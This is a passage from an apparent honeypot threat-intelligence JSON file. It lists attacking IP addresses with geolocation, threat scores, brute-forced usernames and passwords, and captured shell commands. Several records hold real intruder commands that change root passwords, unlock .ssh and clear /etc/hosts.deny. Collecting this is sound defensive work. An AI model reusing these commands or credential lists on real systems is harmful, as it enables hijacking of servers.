        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T09:31:38.792000+00:00",
        "last_seen_30d": "2026-04-12T09:33:11.116000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "221.162.202.105": {
      "attack_count": 2,
      "first_seen": "2026-04-09T01:27:03.425Z",
      "last_seen": "2026-04-09T01:27:15.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Geoje",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T01:27:03.425000+00:00",
        "last_seen_30d": "2026-04-09T01:28:18.574000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.225.100.253": {
      "attack_count": 2,
      "first_seen": "2026-04-29T05:32:50.296Z",
      "last_seen": "2026-04-29T05:33:03.331Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Patna",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T05:32:50.296000+00:00",
        "last_seen_30d": "2026-04-29T05:34:13.441000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.118.146.219": {
      "attack_count": 2,
      "first_seen": "2026-04-25T23:00:45.573Z",
      "last_seen": "2026-04-25T23:00:45.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131414,
      "as_org": "Long Van Soft Solution JSC",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T23:00:45.573000+00:00",
        "last_seen_30d": "2026-04-25T23:01:49.472000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "47.81.8.68": {
      "attack_count": 2,
      "first_seen": "2026-04-29T08:38:31.550Z",
      "last_seen": "2026-04-29T08:39:02.071Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T08:38:31.550000+00:00",
        "last_seen_30d": "2026-04-29T08:40:04.395000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "54.39.165.89": {
      "attack_count": 2,
      "first_seen": "2026-04-30T08:08:54.827Z",
      "last_seen": "2026-04-30T08:09:25.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:08:54.827000+00:00",
        "last_seen_30d": "2026-04-30T08:10:34.760000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.48.18.132": {
      "attack_count": 2,
      "first_seen": "2026-04-05T22:29:50.494Z",
      "last_seen": "2026-04-05T22:30:03.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T22:29:50.494000+00:00",
        "last_seen_30d": "2026-04-05T22:31:11.344000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "92.203.123.246": {
      "attack_count": 2,
      "first_seen": "2026-04-23T18:42:23.452Z",
      "last_seen": "2026-04-23T18:42:36.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 2527,
      "as_org": "Sony Network Communications Inc.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T18:42:23.452000+00:00",
        "last_seen_30d": "2026-04-23T18:43:43.086000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "93.175.47.101": {
      "attack_count": 2,
      "first_seen": "2026-04-24T22:51:03.774Z",
      "last_seen": "2026-04-24T22:53:03.800Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Kafr Q\u0101sim",
      "asn": 212616,
      "as_org": "K.m.a Advanced Technologies Ltd",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T22:51:03.774000+00:00",
        "last_seen_30d": "2026-04-24T23:03:11.320000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "160.177.67.84": {
      "attack_count": 2321,
      "first_seen": "2026-04-01T00:52:39.341Z",
      "last_seen": "2026-04-02T00:52:21.474Z",
      "sessions": 774,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4128,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:52:39.341000+00:00",
        "last_seen_30d": "2026-04-02T00:53:31.381000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2321,
        "Suricata": 1807
      }
    },
    "176.65.132.156": {
      "attack_count": 1259,
      "first_seen": "2026-04-28T12:53:52.756Z",
      "last_seen": "2026-04-28T13:13:30.802Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "user",
        "admin",
        "test",
        "ftpuser",
        "ali",
        "bot",
        "jenkins",
        "a",
        "aaa",
        "administrator",
        "alex",
        "botuser",
        "claude",
        "deployer",
        "dev",
        "dmdba",
        "frappe"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345",
        "P@ssw0rd",
        "admin123",
        "1",
        "1234",
        "12345678",
        "1qaz@WSX",
        "password",
        "1111",
        "Aa123456",
        "Admin@123",
        "admin",
        "arthur",
        "bot",
        "p@ssw0rd",
        "root",
        "!QAZ2wsx3edc4rfv",
        "0000"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1772,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:53:43.071000+00:00",
        "last_seen_30d": "2026-04-28T13:14:38.258000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1259,
        "Suricata": 513
      }
    },
    "157.92.145.135": {
      "attack_count": 1245,
      "first_seen": "2026-04-19T07:30:04.046Z",
      "last_seen": "2026-04-19T08:54:20.456Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 3449,
      "as_org": "Universidad Nacional de Buenos Aires",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1758,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T07:30:04.046000+00:00",
        "last_seen_30d": "2026-04-19T08:55:26.547000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1245,
        "Suricata": 513
      }
    },
    "179.43.133.154": {
      "attack_count": 526,
      "first_seen": "2026-04-28T09:55:47.831Z",
      "last_seen": "2026-04-30T23:31:08.789Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "authority"
      ],
      "passwords_attempted": [
        "or4cl3",
        "authority"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "R\u00fcmlang",
      "asn": 51852,
      "as_org": "Private Layer INC",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 824,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T09:55:47.831000+00:00",
        "last_seen_30d": "2026-04-30T23:32:10.586000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 526,
        "Suricata": 298
      }
    },
    "27.79.2.235": {
      "attack_count": 460,
      "first_seen": "2026-04-10T17:26:52.602Z",
      "last_seen": "2026-04-10T17:54:10.532Z",
      "sessions": 92,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "ftp",
        "monitor",
        "test",
        "1234",
        "ace",
        "admian",
        "anton",
        "backup",
        "bin",
        "btf",
        "carol",
        "cf1c22",
        "cpanel",
        "demo",
        "developer",
        "ftpuser",
        "george"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "123456",
        "password",
        "12345",
        "P@ssw0rd",
        "abc123",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "111111",
        "112233",
        "12345678",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "91482d",
        "ace",
        "admin1",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 679,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:26:52.602000+00:00",
        "last_seen_30d": "2026-04-10T17:55:16.126000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 219
      }
    },
    "2.59.183.94": {
      "attack_count": 456,
      "first_seen": "2026-04-08T05:20:38.551Z",
      "last_seen": "2026-04-14T04:34:59.055Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frappe",
        "ubuntu",
        "ali",
        "installer",
        "steam",
        "test",
        "FTPUser",
        "jeff",
        "maurice",
        "newuser",
        "odoo",
        "sammy",
        "server",
        "steven",
        "user",
        "user1",
        "user5",
        "wwwuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "!QAZXCDE#@WS",
        "123456",
        "12345678",
        "1234567890",
        "1234QWE",
        "123QWEasd",
        "1q2w#E",
        "1qazxcvbnm,./",
        "A12345678!",
        "Aa!@#123",
        "Ali01!",
        "Asdasd123",
        "CCcc112233",
        "Changeme123!",
        "Dm123456",
        "Frappe09!",
        "Frappe15"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"!QAZXCDE#@WS\\npwHyeFbmWYca\\npwHyeFbmWYca\\n\"|passwd",
        "echo \"installer\\nTwsoy7qTqUie\\nTwsoy7qTqUie\\n\"|passwd",
        "echo \"root:0oHEJJAM6ISR\"|chpasswd|bash",
        "echo -e \"!QAZXCDE#@WS\\npwHyeFbmWYca\\npwHyeFbmWYca\"|passwd|bash",
        "echo -e \"installer\\nTwsoy7qTqUie\\nTwsoy7qTqUie\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Meppel",
      "asn": 199058,
      "as_org": "Serva One Ltd",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 582,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:20:38.551000+00:00",
        "last_seen_30d": "2026-04-14T04:36:06.902000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 126
      }
    },
    "170.79.37.88": {
      "attack_count": 436,
      "first_seen": "2026-04-06T18:50:08.577Z",
      "last_seen": "2026-04-28T11:44:36.858Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hik",
        "odoo",
        "admin",
        "cent",
        "claude",
        "developers",
        "dmdba",
        "git",
        "it",
        "postgres",
        "root1",
        "tan",
        "teamspeak3",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%12345",
        "!@#qweASDzxc",
        "0000",
        "0p3nv1x-01!",
        "1",
        "123456",
        "123456qaZ",
        "123qweASDF321",
        "1qazxsw2#",
        "@thl0n",
        "Asdfgh123",
        "Claude27",
        "Dell",
        "Florinlaur2025",
        "Hik@2025",
        "Pa55word1",
        "Qwert123456!",
        "Root!@#456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Hik@2025\\nKkvowjlCnbPu\\nKkvowjlCnbPu\\n\"|passwd",
        "echo \"root:bvnXf0naarf9\"|chpasswd|bash",
        "echo -e \"Hik@2025\\nKkvowjlCnbPu\\nKkvowjlCnbPu\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 565,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:50:08.577000+00:00",
        "last_seen_30d": "2026-04-28T11:54:40.506000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 436,
        "Suricata": 129
      }
    },
    "170.79.37.82": {
      "attack_count": 334,
      "first_seen": "2026-04-05T03:48:12.244Z",
      "last_seen": "2026-04-12T02:26:22.501Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test_user",
        "ubuntu",
        "admin",
        "dev",
        "ftpuser",
        "manager",
        "n8n",
        "oracle",
        "pankaj",
        "test",
        "test1",
        "user",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz2wsx",
        "1qaz#EDC",
        "3edc@@",
        "Abcd123.",
        "Admin13!",
        "Dev13!",
        "QWER2024",
        "Qazwsx1!@#",
        "Qazwsx123@#",
        "QweQwe12",
        "Test_1234",
        "ZAQ!2wsx2021@#",
        "a123123",
        "ftpuser2025",
        "manager",
        "n8n0",
        "oracle31!",
        "pankaj@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:HItl1Phd5xm9\"|chpasswd|bash",
        "echo \"root:xpduY2cGRyMQ\"|chpasswd|bash",
        "echo \"test_user\\nedFw6q2pEm3Y\\nedFw6q2pEm3Y\\n\"|passwd",
        "echo -e \"test_user\\nedFw6q2pEm3Y\\nedFw6q2pEm3Y\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T03:48:12.244000+00:00",
        "last_seen_30d": "2026-04-12T02:27:28.614000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 334,
        "Suricata": 71
      }
    },
    "62.113.98.181": {
      "attack_count": 331,
      "first_seen": "2026-04-10T22:34:03.019Z",
      "last_seen": "2026-04-10T23:12:17.793Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "dev",
        "user",
        "ali",
        "amits",
        "css",
        "michele",
        "node",
        "op",
        "postgres",
        "tecnopos",
        "test03",
        "test1",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "147258",
        "2023!",
        "8080",
        "Ali$",
        "Bot20!",
        "DDcc000",
        "Nikhil@123",
        "ROOT",
        "Test.123",
        "User",
        "User06!",
        "amits",
        "asd123",
        "asdfasdf",
        "bot09",
        "css"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdfasdf\\nyhgL9E1iZHsJ\\nyhgL9E1iZHsJ\\n\"|passwd",
        "echo \"bot09\\nJGygpWLHCCBJ\\nJGygpWLHCCBJ\\n\"|passwd",
        "echo \"root:ZeDm8JAPgwcL\"|chpasswd|bash",
        "echo -e \"asdfasdf\\nyhgL9E1iZHsJ\\nyhgL9E1iZHsJ\"|passwd|bash",
        "echo -e \"bot09\\nJGygpWLHCCBJ\\nJGygpWLHCCBJ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 198610,
      "as_org": "Beget LLC",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T22:34:03.019000+00:00",
        "last_seen_30d": "2026-04-10T23:13:18.206000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 69
      }
    },
    "103.144.2.208": {
      "attack_count": 330,
      "first_seen": "2026-04-02T17:54:11.699Z",
      "last_seen": "2026-04-04T16:55:08.272Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "azureuser",
        "ubuntu",
        "admin",
        "deploy",
        "deployer",
        "devuser",
        "guest",
        "oracle",
        "teste",
        "tobias",
        "yuxiang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "121212",
        "123asd...",
        "1password!",
        "Admin24",
        "Changeme!",
        "Devuser@2025",
        "Ha123456",
        "Oracle11!",
        "Reza2025",
        "Root1234567890",
        "Vm123456@",
        "ZAQ!2wsx4321!",
        "abc123.,",
        "asdf1234!",
        "azureuser123!",
        "changeme",
        "frappe9",
        "guest123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
